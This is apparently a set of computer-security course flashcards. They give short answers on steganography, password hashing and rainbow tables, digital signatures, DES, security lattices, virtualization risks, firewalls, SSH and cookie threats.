Take the binary representation of the hidden_data and overwrite the LSB of each byte within the cover_image If we are using 24-bit color, the amount of change will be minimal and indiscernible to the human eye.

How is email delivered (4)?

The POP3 server maintains a list of email accounts (e.g., jsmith) and a text file for each account (e.g., jsmith.txt) When the POP3 server receives an email addressed to jsmith, it formats the email and appends the formatted email to jsmith.txt • From: ligang.he To: jsmith Can we have lunch Monday? John

What is Stub classes in web service invocation?

The client application calls the client stub. The client stub will turn this 'local invocation' into a proper SOAP request (called marshaling or serializing) The SOAP request is sent over a network using the HTTP protocol. The server receives the SOAP requests and hands it to the server stub for unmarshalling Once the SOAP request has been unmarshalled, the server stub invokes the service implementation The result of the requested operation is handed to the server stub, which will turn it into a SOAP response message. The SOAP response message is sent over a network using the HTTP protocol. The client stub receives the SOAP response and turns it into something the client application can understand. The application receives the result of the Web Service invocation

Explain the network easedropping issue:

The communication info between browser and server, including cookies, can be intercepted by attacker Attacker can use intercepted cookies to impersonate a user • The attacker can send a request and cookies to the server. • The server would think the attacker is the use who visited the website before Can be prevented by securing communications (e.g., using SSL)

What is availability?

The data and service should be available whenever it is required (times may vary)

What is privacy?

The data will not be used for other purposes than those for which it was provided.

Integrity through Digital Signature:

The digital signature for a message is generated in two steps: - A message hash (or digest) is generated from the message - The message hash is encrypted using the sender's private key - A digital signature is - Attached to a message - used to find out if the message was tampered with during the communication (guarantee integrity) - The receiver does the following - Using the sender's public key, decrypts the digital signature to obtain the message hash generated by the sender - Generate a message hash of the received message by using the same hash algorithm used by the sender - Compares these message digests

Why is steganography needed?

The encrypted messages are often unreadable. Steganography hide the message in the plain text.

What is the DES?

The first standardised encryption method Based on the Feistal approach 64-bit plaintext block size Uses a 56-bit secret key 16 rounds of encryption operations per block uses substitution (good for confusion) uses permutation (good for diffusion) Functions and permutations operations are all public

How to lookup passwords in a rainbow table?

The hash value may be in any position in the chain, - It's necessary to consider k cases, if k reduction functions are used. - The first case assumes the hash value is in a position that should apply Rk ; - the next case assumes the hash value is in the position that should apply Rk−1; - and so on until the last case

Lattice of Security:

The multi-level security system should be set properly so that the security labels form a lattice - Definition of Lattice - A lattice (L, ≤) consists of a set of L and a partial ordering regarding relation ≤ - For any two elements a, b L, there exists a least upper bound u L and a greatest lower bound l L. - In the case of security labels, assume l1=(c1, X1), l2=(c2, X2). then the least upper bound of l1 and l2 is (highest(c1, c2), X1 X2), while the greatest lower bound of l1 and l2 is (lowest(c1, c2), X1X2) - Why do we need to form a lattice?

What is computer security?

The prevention and/or detection of unauthorised actions by users of a computer system; controlling access.

Access Control List and Capabilities:

The problem of Access Matrix - The matrix is likely to be sparse - Desire to use data structures that store only the nonempty cells of the access matrix - There are two data structures - Access control list: for an object, list who has what permissions - Capability list : for a subject, list what permissions it has on each object.

How does steganography work?

The steganographic process: cover_medium + hidden_data + stegano_key = stegano_medium The cover_medium is the file in which we will hide the hidden_data, which may also be encrypted using the stegano_key. The resultant file is the stegano_medium Cover_medium (and, thus, the stegano_medium) are typically image or audio files

Explain the state restoring benefit of VM:

The virtual disk for a VM is stored as a file on the hypervisor. Most Virtualization products record the changes that are made to the contents of the virtual disk. It is easy for VMs to restore to previous state. State restore provides perfect virus removal and helps to ensure data integrity.

Why is theory not the same as practice in computer security?

There are many security flaws that can arise in implementation rather than theory such as: implementation: how is it used? •deployment : how is it set up? •maintenance: how is it maintained? •parties involved: who uses it and what is their security behavior? •location: where is it used? •temptation: how much does someone want to get it?

Why do we need to form a lattice?

There are two objects each with specified security levels, what minimum security level should be assigned to a subject so that it can access both objects? • We need to calculate the least upper bound of the security levels of the two objects • The security system should have such a security level corresponding to the lowest upper bound •There are two subjects needing to access a object, what is the highest security level can be assigned to the object so that both subjects can access the object? • We need to calculate the greatest lower bound of the security levels of the two subjects • The security system should have such a security level corresponding to the greatest lower bound

Explain the drawbacks of State Restoring:

There are two outcomes for an attack in VMs The guest OSes are compromised, The hypervisor is compromised If the first happens, system administrators can rollback VMs to a pre-attack state to restore integrity, If the hypervisor is compromised, the state restoring approach does not work and attackers have access to hardware and have unlimited freedom Since it is easy to restore infected VMs (combined with the transience feature), many users do not have the urge to secure their VMs with virus protection 60% of VMs in production are less secure than their physical counterparts, due to this facto In traditional systems, when a new security update is released, physical machines are patched and remain patched. A VM may also get the security patch, but if the user rolls back to a previous state, then the guest OS is no longer patched. Therefore, it is very challenging to apply security patch in VMs because system administrators have to record when patches have been applied evaluate which patches need to be applied again when a VM is restored to a previous state Rolling back a VM may re-expose patched vulnerabilities, reactivate vulnerable services, reintroduce worms, viruses, and other malicious code that had previously been removed. reuse previously retired session/encryption keys, re-enable previously disabled accounts or passwords, A fundamental principle for building secure systems is minimizing the amount of time that sensitive data remains in a system State recording undermines the process since it log execution state to implement rollback. logging also leak sensitive data to persistent storage, which breaks the security principle of minimizing the lifetime of sensitive data

What is the web of trust?

There is no centralized Certificate Authority (CA) - Each user establishes his personal web of trust - Each user create certificate by itself - Each user can sign other users' certificates There are two attributes about a user: validity and trust - If user A is certain that B's public key belongs to B, - A signs B's certificate and set "validity" to be "full". - Otherwise, "validity" is set to be "unknown" or "marginal" - If user A is fully (or marginally) confident that user B will be very careful when B signs other users' certificates, A sets "trust" of B to be "full" (or marginal) - Otherwise, "trust" of B is set to be "unknown"

What can we do to defend against password attacks?

There is no way to prevent brute-force or dictionary attacks - Using salt to prevent lookup tables, reverse lookup tables and rainbow tables attacks

What are security issues regarding cookies?

Third party cookie Network eavesdropping Phishing false sub-domain Cross-site scripting Cross-site request forgery

What is the problem with secret key encrypytion?

To share a secret, you must already know a secret! How do you exchange keys? • Physical distribution. Motorbike couriers; secure government transport. • distribution via telecommunications: send it in pieces via different routes. • Key distribution center: Cuts down the work by providing a central point; sender and receiver go to collect the key

What are the drawbacks of virtualization?

Transience State recording and restoring Mobility Easy creation Identity: physical machines can be identified by MAC address or Ethernet port number. What about VM?

What problems do lookup tables, dictionary and brute-force attacks all share?

Try or store all options and search through a large database - Not effective for long passwords (too much storage)

How does proxy service work?

Two independent TCP connections are generated for each application One between the packet source and the firewall The other between the firewall and packet destination Proxy receives a packet using one connection and then sends the packet to the destination using the other connection. No packets passing directly between the computers inside and outside the firewall The proxy can see the whole data in the packets and can easily do application-layer checking such as antivirus scanning. Compared with packet filtering and stateful filtering, Proxy firewall operates up to layer 7 is more secure less efficient consumes more memory has loyal followers in the most security-aware organizations, such as government, military, financial services and health care

What is interactinons between a hypervisior and domain?

Two mechanisms exist to control interactions between hypervisor and a domain Hypercall • Synchronous • from a domain to hypervisor • Domain performs a synchronous trap into the hypervisor to perform a privileged operation Event channel • From a hypervisor to a domain: notify the domain to do something • deliver notifications • asynchronous

Unilateral vs. Mutual authentication:

Unilateral authentication: A authenticates to B Mutual authentication: Do the authentication check both ways

What is password hashing?

Use a hash function f, which is a one way function: given x, it is easy to compute f(x), but given f(x) it is extremely hard to compute x (unlike encryption) - the input changes by even a tiny bit, the resulting hash is completely different - When the user attempts to login, the hash of the password they entered is checked against the hash of their real password - Cryptographic Hash functions: MD5, SHA256, SHA512, etc.

How do dictionary attacks work?

Uses a file containing words, phrases, common passwords, and other strings that are likely to be used as a password - these dictionary files are constructed by extracting words from large bodies of text, and even from real databases of passwords. - Further processing is often applied to dictionary files, such as replacing words with their "leet speak" equivalents (hello -> h3110)

Email incerceptino preventatin using private and public key

Using public key algorithm to encrypt the whole message is slow - So use the shared secret key to encrypt the message - The shared secret key is only used once, also call session key - Shared secret key encryption is faster than public key encryption - Use the public key algorithm to only encrypt the shared secret key - Therefore, it is faster

How does ssh work?

Using public-key cryptography to encrypt the message There are two main ways to perform authentication Only use public-private key to encrypt the messages and uses password authentication to log on The other way is that use public-private key pair to also perform authentication; no need to type in password • Place the client's public key on the server • The server verifies whether the communicating party has the matching private key

Explain the mobility drawback of virtualiazation:

VMs are not physical, everything about a VM is virtualized as files Stealing a VM can take place by stealing the files without physical theft of the host machine. The contents of the virtual disk for each VM are stored as a file by most hypervisors Since the attacker is accessing the original copy of the VM rather than the one which is being used by the VM, the VM will not show any records of intrusion The attacker could steal the VM files from the hard disk or modify the files while the VM is offline This is not usually an issue with physical machines because the machine must be running to be accessible by network

What is the robot exclusion protocol?

Web crawlers or Web robots systematically scan the World Wide Web to mine the data Robot Exclusion Protocol (REP) specifies the instructions to be used to inform the robot about which directories of the website should not be scanned. Instructions are written in the robots.txt file, which is in the root directory of the web server. Instruction examples User-agent: * # apply to all robots Disallow: /local/secure.html User-agent: Googlebot # apply only to Googlebot Disallow: /private/

How is email delivered (5)?

When someone, e.g, jsmith, wants to check the email using the email client, the email client asks the POP3 server to send a copy of the jsmith.txt file asks the POP3 server to erase and reset Saves jsmith.txt on the local machine Parses the file into the separate messages Displays all of the message headers when jsmith clicks the message header, finds the message in jsmith.txt and shows the message body,

Explain the drawback of Transience:

When worms hit conventional networks of physical machines, administrators often do the following identify which machines are infected, then clean up infected machines Apply security patches to prevent re-infection In virtualized environments, infected VMs may appear briefly and disappear before they can be detected. Difficult to identify which VMs are affected In conventional approaches to patch management, virus and vulnerability scanning, the machines must be online. Difficult to fix the vulnerability or affected VMs The infected VMs may appear online briefly, infect other VMs and disappear offline before they are noticed. Difficult to eradicate the infection in the system As a result, in virtualization environments, worm/virus infections tend to persist at a low level, flare up again and again when conditions are right

What is a risk?

an expectation of loss expressed as the probability that a particular threat will exploit a particular vulnerability with a particular harmful result Risk = threat * vulnerability * harm

How does reverse lookup tables work?

given a hash h , compute a chain by alternating R with H Use hash chains - a technique for decreasing the space requirement - define a reduction function that maps hash values back into values in password domain P (not an inverse of the hash function) - The only requirement for reduction function is to return a value in P - For example, get the last 6 characters in the hash - Alternating hash function (H) with reduction function (R) to form a hash chain with a preset length k. p1 -> h1 -> p2 -> h2 -> p3 -> h3 -> p4 (k is 7 in this case) - Only store the first (starting point) and last (endpoint) password in each chain in a reverse lookup table

What is host-based application firewall?

monitors any application input, output or system service call in a host, in addition to a network stack Link process to packets: apply filtering rules on a per process basis instead of filtering connections on a per port basis Examining the process ID of data packets against a ruleset for the local process More complex rulesets, given the variety of software

What problem does reverse lookup tables solve?

sacrifice time for storage - work for long passwords (their hashes can be stored)

How many different possibilities can a length n string have?

size of character set ^ length (26^n) - this is often referred to as the entropy value

How do brute force attacks work?

try every possible combination of characters up to a given length. - very computationally expensive, the least efficient - they will eventually find the password. - Passwords should be long enough that searching through all possible character strings to find it will take too long to be worthwhile.

What is a protocol?

• Fixed pattern of exchanges (steps) between 2 or more parties to achieve a certain task

Why does it matter we find an accurate figure for the damage caused by a cyber security attack?

• So we know how much to invest in the response • So we know where best to target the response • To avoid loss of credibility of inflated figures • To provide information and legislation based on realistic figures.

What is the difference between paravirtualization and full virtualization?

•ParaVirtualisation • Modify operation systems • Change the privilege of OS • modify some system calls in OS to hypercall (call the functionality provided by hypervisor) • Is aware it does not have direct access to the hardware • Xen •Full virtualisation • No need to modify operating systems • Dynamic binary translation • VMWare, QEMU


Set pelajaran terkait

Chapter 13 - The Birth of the Universe

View Set

Real Estate 100 - Chapter 1 - Real Estate License Requirements

View Set

CH 55 Med Surg Assessment of integumentary Function

View Set

The CE Shop Real Estate Course Final

View Set

Chapter 04: Prenatal Care and Adaptations to Pregnancy

View Set